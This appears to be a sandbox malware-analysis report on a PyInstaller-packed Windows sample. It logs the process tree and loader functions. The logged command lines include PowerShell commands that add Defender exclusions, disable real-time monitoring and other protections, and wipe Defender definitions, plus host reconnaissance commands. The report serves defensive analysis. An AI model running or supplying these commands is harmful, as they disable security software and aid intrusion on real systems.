Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"
Imagebase:	0x7ff7738f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "start bound.exe"
Imagebase:	0x7ff7738f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7738f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7738f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\Temp\bound.exe
Wow64 process (32bit):	false
Commandline:	bound.exe
Imagebase:	0x254b4b60000
File size:	819'200 bytes
MD5 hash:	2A4DCF20B82896BE94EB538260C5FB93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:44:26
Start date:	27/10/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7cf080000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:44:27
Start date:	27/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff620410000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:44:27
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c ipconfig /all
Imagebase:	0x7ff7738f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:44:27
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:44:28
Start date:	27/10/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff77afe0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:44:32
Start date:	27/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:44:38
Start date:	27/10/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7976 -s 2228
Imagebase:	0x7ff6d96a0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:44:39
Start date:	27/10/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff6496b0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	31

Executed Functions

Function 00007FF7EAD089E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7EAD09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7EAD045F4,00000000,00007FF7EAD01985), ref: 00007FF7EAD093C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08A56

Part of subcall function 00007FF7EAD1A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1A490

Part of subcall function 00007FF7EAD1871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD18783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08AE6
CreateProcessW.KERNELBASE ref: 00007FF7EAD08B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08B28

Part of subcall function 00007FF7EAD02C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02C9E
Part of subcall function 00007FF7EAD02C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02D63
Part of subcall function 00007FF7EAD02C50: MessageBoxW.USER32 ref: 00007FF7EAD02D99

RegisterClassW.USER32 ref: 00007FF7EAD08B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08B8B
CreateWindowExW.USER32 ref: 00007FF7EAD08BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C15
PeekMessageW.USER32 ref: 00007FF7EAD08C39
TranslateMessage.USER32 ref: 00007FF7EAD08C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C51
PeekMessageW.USER32 ref: 00007FF7EAD08C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08E04
GetExitCodeProcess.KERNELBASE ref: 00007FF7EAD08E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08E2F

Strings

Failed to create child process!, xrefs: 00007FF7EAD08B30
PyInstaller Onefile Hidden Window, xrefs: 00007FF7EAD08B95
CreateProcessW, xrefs: 00007FF7EAD08B37
PyInstallerOnefileHiddenWindow, xrefs: 00007FF7EAD08B54

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 235a67f0b1412dbbdebda2e637d2da7591839ba84bc1f88a3a8e8885d7006363
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 81D19432A08A8286F710EF34E8943ADB765FF94B58F800276DA5D43A98DF7CD154C721

Function 00007FF7EAD01000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7EAD03E0A
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7EAD03A17, 00007FF7EAD03A2F, 00007FF7EAD03A9B
pyi-contents-directory, xrefs: 00007FF7EAD03B8D
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7EAD03D35
MEI, xrefs: 00007FF7EAD03933
Failed to convert DLL search path!, xrefs: 00007FF7EAD03DDC
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7EAD03A0B, 00007FF7EAD03CD4, 00007FF7EAD03F6B
VCRUNTIME140.dll, xrefs: 00007FF7EAD03DB1
Py_GIL_DISABLED, xrefs: 00007FF7EAD03AF4
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7EAD03971
pyi-disable-windowed-traceback, xrefs: 00007FF7EAD03BB2
Failed to start splash screen!, xrefs: 00007FF7EAD03ED4
pyi-python-flag, xrefs: 00007FF7EAD03AD6
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7EAD03EA6
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7EAD03D12
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7EAD03B32
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7EAD03EBB
_PYI_ARCHIVE_FILE, xrefs: 00007FF7EAD038D2, 00007FF7EAD039FF
pkg, xrefs: 00007FF7EAD039BE
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7EAD03882, 00007FF7EAD038AF
_PYI_SPLASH_IPC, xrefs: 00007FF7EAD03A23, 00007FF7EAD03EF5
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7EAD039DE
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7EAD03C61
Failed to remove temporary directory: %s, xrefs: 00007FF7EAD03FCF
bye-runtime-tmpdir, xrefs: 00007FF7EAD03B68
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7EAD03BE8
Could not create temporary directory!, xrefs: 00007FF7EAD03CBF
Failed to load splash screen resources!, xrefs: 00007FF7EAD03E85

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 9de477ae995940a39e23314e20718922418974b9c8241bfba060ee61ec72f349
Instruction ID: 1110fc5f604bc3514105ae1ad6e894e3176ad781bc1424d71341d14022e255bb
Opcode Fuzzy Hash: 9de477ae995940a39e23314e20718922418974b9c8241bfba060ee61ec72f349
Instruction Fuzzy Hash: E9327C21A08A8291FB19F72594943F9A762EF54788FC440B7DA5D432CAEF7CE558C332

Function 00007FF7EAD26964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7EAD26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD266D9
Part of subcall function 00007FF7EAD26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD26757
Part of subcall function 00007FF7EAD26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD267A8

CreateFileW.KERNELBASE ref: 00007FF7EAD26A6A
CreateFileW.KERNEL32 ref: 00007FF7EAD26ABA
GetLastError.KERNEL32 ref: 00007FF7EAD26AEA
GetFileType.KERNELBASE ref: 00007FF7EAD26AFF
GetLastError.KERNEL32 ref: 00007FF7EAD26B09
CloseHandle.KERNEL32 ref: 00007FF7EAD26B3C
CloseHandle.KERNEL32 ref: 00007FF7EAD26C9F
CreateFileW.KERNEL32 ref: 00007FF7EAD26CD4
GetLastError.KERNEL32 ref: 00007FF7EAD26CE3

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: f9aed6a51e478cb4b00645d73990b07bc78f0d13bd230059b6e4c11a6b0e5bdb
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 6DC1D036B28B4285FB10EF64C4906AC7761F749B98F8142B6DE2E97398CF38D111C321

Function 00007FF7EAD083C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD0842B
RemoveDirectoryW.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084AE
DeleteFileW.KERNELBASE(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084CD
FindNextFileW.KERNELBASE(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084DB
FindClose.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084EC
RemoveDirectoryW.KERNELBASE(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084F5

Strings

%s\*, xrefs: 00007FF7EAD083F2

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 583ef5b254f7ff1f7114440e18d99883d7db02a05b27b2c37a6eead3137a212d
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: B4414121A0CA8285FA20EB24E4843BEB362FB94758FC00273D59D4269CEF7CE555C762

Function 00007FF7EAD09280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7EAD092B3
FindClose.KERNELBASE ref: 00007FF7EAD092C2

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 8ce2ad7dbfd5054e07d43efbcfa513b8df1537611b836527035957cd2eb09776
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 9DF0C232A1C74286F7A0DB60B4D8766B390FB84728F840336DA6D02AD8DF3CE058CA11

Function 00007FF7EAD01950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7EAD07F90: _fread_nolock.LIBCMT ref: 00007FF7EAD0803A

_fread_nolock.LIBCMT ref: 00007FF7EAD01A1B

Part of subcall function 00007FF7EAD02910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7EAD01B6A), ref: 00007FF7EAD0295E

Strings

Error on file., xrefs: 00007FF7EAD01B8D
fread, xrefs: 00007FF7EAD01A32, 00007FF7EAD01B5C
Could not allocate buffer for TOC!, xrefs: 00007FF7EAD01B1B
Failed to seek to cookie position!, xrefs: 00007FF7EAD019EE
MEI, xrefs: 00007FF7EAD01991
Could not allocate memory for archive structure!, xrefs: 00007FF7EAD01A61
fseek, xrefs: 00007FF7EAD019F5
Failed to read cookie!, xrefs: 00007FF7EAD01A2B
Could not read full TOC!, xrefs: 00007FF7EAD01B55
calloc, xrefs: 00007FF7EAD01A68
malloc, xrefs: 00007FF7EAD01B22

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: bcbc45470d282000346a2dbbd26572b59944004f25f427ec07b9d33b56543599
Instruction ID: 3adfd0fecca65c1dac41dd60b8d855fbfba640b4b7d0e82ba3b7333a87dcf31f
Opcode Fuzzy Hash: bcbc45470d282000346a2dbbd26572b59944004f25f427ec07b9d33b56543599
Instruction Fuzzy Hash: 1C817271A0868686FB20FB24D0853B9E3A2EF48748F844477E98D4778DDE7CE585C762

Function 00007FF7EAD01600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to create symbolic link %s!, xrefs: 00007FF7EAD01622
fwrite, xrefs: 00007FF7EAD017D1
fread, xrefs: 00007FF7EAD017E6
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7EAD017CA
fopen, xrefs: 00007FF7EAD01663
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7EAD01742
Failed to extract %s: failed to open target file!, xrefs: 00007FF7EAD0165C
fseek, xrefs: 00007FF7EAD016E1
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7EAD016DA
